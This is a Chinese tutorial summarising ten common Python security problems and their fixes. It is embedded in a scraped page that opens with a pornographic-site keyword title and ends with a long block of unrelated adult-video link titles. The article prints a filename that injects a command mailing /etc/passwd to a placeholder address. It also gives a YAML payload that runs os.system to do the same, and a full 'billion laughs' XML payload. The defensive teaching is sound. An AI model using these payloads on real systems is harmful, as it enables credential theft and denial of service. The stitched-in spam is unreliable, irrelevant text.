精品久久久久久亚洲精品_成人午夜网站_www日本高清_亚洲精品久久久久午夜福

熱門文章

最新文章

詳細總結Python常見的安全問題

發布時間:2021-06-22 15:26:45

一、輸入注入

注入攻擊非常廣泛而且很常見,注入有很多種類,它們影響所有的語言、框架和環境。

SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字符串字面量與變量混合。可以通過https://www.jb51.net/article/187001.htm
這個鏈接查看 SQL 注入所有可能發生的復雜方式。

命令注入可能在使用 popen、subprocess、os.system 調用一個進程并從變量中獲取參數時發生,當調用本地命令時,有人可能會將某些值設置為惡意值。

下面是個簡單的腳本,使用用戶提供的文件名調用子進程:

1
2
3
4
5
import subprocess
 
def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True# a bad idea!

攻擊者會將 filename 的值設置為“; cat / etc / passwd | mail them@domain.com 或者其他同樣危險的東西。

修復:

如果你使用了 Web 框架,可以用附帶的實用程序對輸入進行清理,除非有充分的理由,否則不要手動構建 SQL 查詢,大多數 ORM 都具有內置的消毒方法。

對于 shell,可以使用 shlex 模塊正確地轉義輸入。

二、assert 語句(Assert statements)

不要使用 assert 語句來防止用戶訪問不應訪問的代碼段。

1
2
3
def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

現在,默認情況下,Python 以 __debug__ 為 true 來執行腳本,但在生產環境中,通常使用優化運行,這將會跳過 assert 語句并直接轉到安全代碼,而不管用戶是否是 is_admin

修復:

僅在與其他開發人員進行通信時使用 assert 語句,例如在單元測試中或為了防止不正確的 API 使用。

三、計時攻擊(Timing attacks)

計時攻擊本質上是一種通過計時比較提供值所需時間來暴露行為和算法的方式。計時攻擊需要精確性,所以通常不能用于高延遲的遠程網絡。由于大多數 Web 應用程序涉及可變延遲,因此幾乎不可能在 HTTP Web 服務器上編寫計時攻擊。

但是,如果你有提示輸入密碼的命令行應用程序,則攻擊者可以編寫一個簡單的腳本來計算將其值與實際密碼進行比較所需的時間。

修復:

使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。

四、臨時文件(Temporary files)

要在 Python 中創建臨時文件,通常使用 mktemp() 函數生成一個文件名,然后使用該名稱創建一個文件。 這是不安全的,因為另一個進程可能會在調用 mktemp() 和隨后嘗試通過第一個進程創建文件之間的空隙創建一個同名文件。這意味著應用程序可能加載錯誤的數據或暴露其他的臨時數據。

如果調用不正確的方法,則最新版本的 Python 會拋出運行警告。

修復

如果需要生成臨時文件,請使用 tempfile 模塊并使用 mkstemp。

五、使用 yaml.load

引用 PyYAML 文檔:

1
警告:使用從不可信源接收到的數據來調用 yaml.load 是不安全的! yaml.load 和pickle.load 一樣強大,所以可以調用任何 Python 函數。

在流行的 Python 項目 Ansible 中這個例子,你可以將此值作為(有效)YAML 提供給 Ansible Vault,它使用文件中提供的參數調用 os.system()。

1
!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,從用戶提供的值中有效地加載 YAML 文件會讓應用對攻擊打開大門。

修復:

總是不優先使用 yaml.safe_load,除非你有一個非常好的理由。

六、解析 XML(Parsing XML)

如果你的應用程序要加載、解析 XML 文件,則你可能正在使用 XML 標準庫模塊。通過 XML 的攻擊大多是 DoS 風格(旨在使系統崩潰而不是泄露數據),這些攻擊十分常見,特別是在解析外部(即不可信任的)XML 文件時。

其中有個「billion laughs」,因為他的 payload 通常包含很多(十億)「lols」。基本上,這個原理是可以在 XML 中使用參照實體,所以當解析器將這個 XML 文件加載到內存中時,它會消耗數 G 大小的內存(RAM)。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一些攻擊使用外部實體擴展。XML 支持從外部 URL 引用實體,XML解析器通常會毫無疑問地獲取并加載該資源。攻擊者可以規避防火墻并訪問受限制的資源,因為所有請求都是由內部可信的 IP 地址創建的,而不是來自外部。

需要考慮的另一種情況是依賴的第三方軟件包需要解碼 XML ,例如配置文件、遠程 API。你甚至可能不知道某個依賴關系會將這些類型的攻擊置之不理。

修復:

使用 defusedxml 替換標準庫模塊,它增加了針對這些類型攻擊的安全防護。

七、受污染的 site-packages 或 import 路徑

Python 的 import 系統非常靈活,當你想要為測試寫補丁或重載核心功能時,這是非常棒的。

但這卻是 Python 中最大的安全漏洞之一。

安裝第三方軟件包,無論是在虛擬環境中還是全局(通常不鼓勵)都會讓你看到這些軟件包中的安全漏洞。有一些發布到 PyPi 的軟件包與流行的軟件包具有相似的名稱,但是卻執行了任意代碼。

需要考慮的另一種情況是依賴的依賴,他們可能包含漏洞,他們也可以通過導入系統覆蓋Python 中的默認行為。

修復

看看 http://PyUp.io 及其安全服務,為所有應用程序使用虛擬環境,并確保全局的 site-packages 盡可能干凈,檢查包簽名。

八、序列化 Pickles

反序列化 pickle 數據和 YAML 一樣糟糕。Python 類可以聲明一個 __reduce__ 方法,該方法返回一個字符串,或一個可調用的元組以及使用 pickle 序列化時調用的參數。攻擊者可以使用它來包含對其中一個子進程模塊的引用,以在主機上運行任意命令。

修復

切勿使用 pickle 反序列化不受信任或未經身份驗證來源的數據。改用另一種序列化模式(如JSON)。

九、使用系統 Python 運行時并且不修復它

大多數 POSIX 系統都自帶有一個 Python 2 版本(通常是舊版本)。

有時候 Python(即 CPython 是用 C 語言編寫的) 解釋器本身存在漏洞, C 中的常見安全問題與內存分配有關,所以大多是緩沖區溢出錯誤,CPython 多年來一直存在一些溢出漏洞,每個漏洞都在后續版本中進行了修復。也就是說,如果及時升級 python 運行時,就很安全。

修復:

為生產應用程序安裝最新版本的 Python,并及時安裝修復更新!

十、不修復依賴關系

類似于不修補 python 運行時,還需要定期修補依賴關系。

修復

使用像 PyUp.io 這樣的服務來檢查更新,向應用程序提出 pr,并運行測試以保持軟件包是最新的。

到此這篇關于詳細總結Python常見的安全問題的文章就介紹到這了


返回頂部
精品久久久久久亚洲精品_成人午夜网站_www日本高清_亚洲精品久久久久午夜福

      9000px;">

          日本韩国精品在线| 日韩在线a电影| 56国语精品自产拍在线观看| 国产91丝袜在线18| 亚洲一二三四在线| 久久久精品人体av艺术| 欧美军同video69gay| 国产精品88av| 日韩av一级片| 亚洲综合色丁香婷婷六月图片| 亚洲精品在线观看网站| 欧美精品一级二级| 99久久精品免费精品国产| 国产高清精品久久久久| 老司机免费视频一区二区三区| 亚洲婷婷综合色高清在线| 久久久国产精品麻豆| 欧美精品一区二区精品网| 欧美夫妻性生活| 欧美亚洲尤物久久| 91福利社在线观看| 亚洲va欧美va国产va天堂影院| 亚洲欧美色图小说| 18欧美亚洲精品| 亚洲国产精品传媒在线观看| 久久美女艺术照精彩视频福利播放| 欧美一区二区精品| 欧美欧美欧美欧美| 欧美另类videos死尸| 欧美日本韩国一区| 欧美精品欧美精品系列| 6080午夜不卡| 欧美精品一区二区精品网| 欧美精品一区二区三区蜜臀| 欧美一区二区在线不卡| 欧美成人a∨高清免费观看| 欧美成人乱码一区二区三区| 91麻豆精品91久久久久同性| 欧美亚洲高清一区二区三区不卡| 91九色02白丝porn| 6080国产精品一区二区| 欧美成人在线直播| 欧美激情综合五月色丁香小说| 欧美国产乱子伦 | 99精品久久久久久| 日本高清成人免费播放| 欧美伦理电影网| 欧美成人vr18sexvr| 国产清纯美女被跳蛋高潮一区二区久久w| 国产欧美日韩精品一区| 久久久久久亚洲综合| 国产精品久99| 性做久久久久久免费观看| 久久不见久久见中文字幕免费| 国产高清成人在线| 欧美在线一区二区| 2020国产精品自拍| 久久久久9999亚洲精品| 久久精品在这里| 亚洲午夜影视影院在线观看| 国产在线播放一区三区四| 91福利在线看| 亚洲精品在线免费观看视频| 一区二区三区国产精华| 国产伦精品一区二区三区免费迷 | 日韩高清在线不卡| 波多野结衣一区二区三区| 欧美吞精做爰啪啪高潮| 久久人人爽爽爽人久久久| 国产精品美女久久久久久久久| 天天免费综合色| 国产91综合一区在线观看| 51精品秘密在线观看| 中文幕一区二区三区久久蜜桃| 亚洲第一av色| 极品美女销魂一区二区三区 | 欧美三级电影在线观看| 欧美激情在线看| 亚洲大片精品永久免费| 成人高清视频免费观看| 日韩精品一区二区在线观看| 一区二区在线观看免费| a级高清视频欧美日韩| wwwwww.欧美系列| 亚洲人成网站精品片在线观看| 国产麻豆91精品| 精品久久久久久久久久久久久久久久久| 一区二区三区四区高清精品免费观看| 国产在线视频一区二区| 91女厕偷拍女厕偷拍高清| 日韩免费观看高清完整版| 五月激情六月综合| 欧美猛男男办公室激情| 亚洲精品高清在线观看| 91婷婷韩国欧美一区二区| 国产日韩v精品一区二区| 国产一区二区主播在线| 欧美成人精品3d动漫h| 精品一二三四区| 欧美一级高清片在线观看| 免费人成在线不卡| 精品少妇一区二区三区日产乱码| 一区二区三区影院| 欧美精品丝袜久久久中文字幕| 五月激情综合网| 欧美日韩国产综合一区二区三区| 亚洲欧洲国产日韩| 日本国产一区二区| 性做久久久久久免费观看欧美| 欧美日韩精品电影| 免费xxxx性欧美18vr| 精品不卡在线视频| 韩国精品久久久| 国产亚洲欧美在线| 日本精品视频一区二区三区| 午夜伊人狠狠久久| 精品国产三级电影在线观看| 国产91丝袜在线播放0| 国产精品免费视频观看| 在线观看成人免费视频| 日韩精品亚洲一区| 欧美韩日一区二区三区| 91免费观看视频在线| 亚洲嫩草精品久久| 5858s免费视频成人| 午夜精品久久久久久久久久久 | eeuss国产一区二区三区| 亚洲综合久久av| 欧美日本一区二区| 奇米色一区二区三区四区| 国产精品毛片a∨一区二区三区| 欧美精品 国产精品| 日本韩国欧美在线| av在线免费不卡| 久久国产乱子精品免费女| 亚洲一区二区三区在线看| 国产精品免费久久久久| 精品久久人人做人人爰| 欧美日韩国产高清一区二区三区 | 色8久久人人97超碰香蕉987| 国产激情视频一区二区三区欧美 | 精品国产亚洲在线| 91精品国产一区二区人妖| 欧洲亚洲精品在线| 99精品在线观看视频| 成人高清视频免费观看| 风流少妇一区二区| 国产精品一区二区在线播放 | 99精品国产热久久91蜜凸| 国产99久久久精品| 成人黄色国产精品网站大全在线免费观看| 久久99久国产精品黄毛片色诱| 蜜桃久久av一区| 久久激情五月婷婷| 国产麻豆成人传媒免费观看| 精久久久久久久久久久| 国产一区在线观看视频| 国产成人激情av| 懂色中文一区二区在线播放| www.欧美亚洲| 日本福利一区二区| 欧美精品久久天天躁| 欧美日产国产精品| 欧美一区二区视频观看视频| 欧美一区二区三区电影| 欧美大尺度电影在线| 久久天天做天天爱综合色| 国产婷婷一区二区| 综合分类小说区另类春色亚洲小说欧美| 国产精品久久久久久久久免费樱桃 | 欧美性猛交一区二区三区精品| 欧美日韩aaaaaa| 精品三级在线看| 国产欧美一区二区精品忘忧草 | 国产a精品视频| 91免费观看在线| 91麻豆精品国产91久久久资源速度| 日韩一区二区三区电影在线观看| 久久久久久9999| 亚洲自拍偷拍九九九| 蜜臀av性久久久久蜜臀aⅴ四虎| 九一九一国产精品| 91丨国产丨九色丨pron| 欧美人伦禁忌dvd放荡欲情| 久久先锋影音av| 亚洲视频精选在线| 麻豆一区二区在线| 91在线无精精品入口| 欧美电影免费提供在线观看| 国产精品久久毛片a| 日本人妖一区二区| 91免费看`日韩一区二区| 日韩一卡二卡三卡四卡| 最新国产精品久久精品| 久久国产福利国产秒拍| 99国产精品国产精品毛片| 日韩视频在线永久播放| 亚洲激情五月婷婷| 成人激情免费网站| 日韩精品一区二区在线|